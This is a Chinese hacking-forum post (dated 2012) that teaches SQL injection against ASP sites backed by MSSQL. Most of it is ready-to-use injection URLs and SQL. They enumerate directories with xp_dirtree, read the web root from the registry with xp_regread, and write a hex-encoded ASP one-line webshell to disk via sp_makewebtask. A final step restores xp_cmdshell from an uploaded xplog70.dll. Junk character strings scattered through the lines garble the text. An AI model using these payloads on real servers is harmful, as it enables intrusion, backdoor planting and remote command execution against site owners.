中国网络渗透测试联盟

标题: MSsqlL注入取得网站路径最好的方法 [打印本页]

作者: admin    时间: 2012-9-13 17:20
标题: MSsqlL注入取得网站路径最好的方法
好,我们exec master..xp_dirtree'd:/test'
- U. Q1 D" S* Z/ ?. g5 U假设我们在test里有两个文件夹test1和test2在test1里又有test3
7 p# W* @/ F- O  l- z9 Y1 L结果显示1 a& Z8 Y- _( I
0 k9 @  G1 z& q# t. |$ l9 M
subdirectory depth+ d0 W+ [0 L! K0 d; k, X2 W  y
test1 1
) ~6 F; s! ]: Z8 W1 `! q+ vtest3 2
8 f6 P: Y% \, J0 F& z2 V  B/ ?+ Htest2 1) E% h: ~) Q7 R# R  Q/ p

7 ^% V4 k0 ~4 u: U哈哈发现没有那个depth就是目录的级数
# d( S* X/ r! V9 w( W& ]ok了,知道怎么办了吧$ I9 N$ g; m: L6 d2 o' D3 l1 M

5 ^: ]  R7 }: W9 J; Yhttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- " L: n! L1 u/ d/ a, @2 I7 s
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
1 M7 K# ^' Y- E5 ^: _http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-+ n( @) i" r" [

$ W- p; l7 t, u3 b" m5 a7 o. z只要加上id=1,就是第一级目录 。
. m! T5 @; {8 f6 x6 X
- C; b' H1 f- w0 u% q/ b4 i# X5 ^7 h' A; U
通过注册表读网站路径:
6 A* |( I* ]- c, k* Y  H+ u9 O
6 d3 ~1 e* U1 ?: K1.;create table [dbo].[cyfd] ([gyfd][char](255));  S; `- z* i$ V$ {' d( W
7 R: y" S- z* ?
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
$ Z5 J* B' R" F) k0 B2 \+ B8 Lid=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
+ N& }5 ?( R% N5 |3 o- r- e. x+ g& F& _& o: P- A$ z1 Z
3.and 1=(select count(*) from 临时表 where 临时字段名>1)2 Z/ C7 _  G' o! t
and 1=(select count(*) from cyfd where gyfd > 1) , C: O" A! O$ k0 _' B5 E% C, ~
这样IE报错,就把刚才插进去的Web路径的值报出来了
  v5 I* W5 Q1 o
  D- A2 j8 `9 S0 V0 X8 |0 _5 L8 S4.drop table cyfd;-- 删除临时表
" X) J1 u) E- b$ u! t$ n
0 C! r% n, y; `1 e3 z0 K获得webshell方法:" W6 `8 A5 V* N8 C( t' Z7 q
1.create table cmd (a image)-- \**cmd是创建的临时表
; j( L( n6 H4 b4 e6 {/ T" ~/ P
  d2 @& y" S6 C9 v! x4 u2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话5 V( L' Q$ d, k" A2 U

( s6 h0 E3 M0 |# Q7 Y# T- h: @
+ c. q* `$ R8 {; t; ^( x. `3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
# m' ]# r, A5 `1 c" EEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
6 M% O. R' v9 \, ~. T# C) T7 Y
1 ^8 A* j: J1 _; B& |4.drop table cmd;-- 删除cmd临时表. G% H, [9 j6 E, O5 ~. A% {

6 i; _7 `) f7 M5 [恢复xp_cmdshell方法之一:! r3 q* S0 ?3 I
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
/ U" M' Z" W( xhttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
5 u" S6 }/ N1 c# A; B! V: H恢复,支持绝对路径的恢复哦。:)- Y0 V& i2 B- q: q( x8 q





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2